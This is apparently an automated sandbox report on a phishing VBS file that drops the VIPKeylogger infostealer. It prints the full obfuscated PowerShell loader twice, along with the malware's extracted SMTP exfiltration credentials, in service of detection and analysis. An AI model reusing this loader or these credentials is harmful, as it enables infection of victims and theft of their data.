Analysis
-
max time kernel
143s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
30/10/2024, 06:23
General
-
Target
Request For Quotation-RFQ097524.vbs
-
Size
339KB
-
MD5
7a856cb44c862ebc8a1b323b1d72e754
-
SHA1
792a1beaabdfa91cda63d76196864dbc4ae16cee
-
SHA256
1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180
-
SHA512
cb25f3d8e57231fd7697b5684be6831efedf12ed87f24476d9c7919f2c7fb54eafd3662eed2fd05165d64ddda42e510c36c1ac85dd523e1c1b0d68650a0f6f24
-
SSDEEP
6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIq:ZgcgL8jD/wGmzcspquhK0k
Score
10/10
Malware Config
Extracted
Family
vipkeylogger
Credentials
Protocol: smtp- Host:
mail.itagres.com.my - Port:
587 - Username:
[email protected] - Password:
nana2106 - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Blocklisted process makes network request 10 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request For Quotation-RFQ097524.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d1414b301c11e310c55c6fd19b5beeb6
SHA1a9a8feef8d7bd65cb5a423665f5ca084672c1af8
SHA25694cb5e8396bc3c3e64e9a9c9cf794a9715148783bb0a91d8c8b77849838df6d0
SHA5121aecaa226433d392968e7ceec6fcabb625a138af4101c36f67cfe1174c4c1c0112999e4638e91664a6eb6a9b0b62a108e77902baec37ae4b59729ebe04fadda4
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
417KB
MD5f3208d704f5e24b59e212dac6f284a29
SHA1ae174085b6b92210b8fd71f847536a48b71341f6
SHA256039c069600de534eca395724b32810fe2e967aad0009415aa108d0a9555ab86a
SHA512fb89a325614e4d78c6f6a617b7fa700bafbefd0a17864c2da1a75f5ec7af2c12ff61f3f3eb27164eb42a7583e0fcd001cf3b20d6a83206ade79bbff9d1d2df3f
-
Filesize
320KB
-
Filesize
18.3MB
-
Filesize
288KB
-
Filesize
18.3MB
-
Filesize
624KB
-
Filesize
1.8MB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
120KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
104KB
-
Filesize
84.7MB
-
Filesize
6.5MB
-
Filesize
304KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
216KB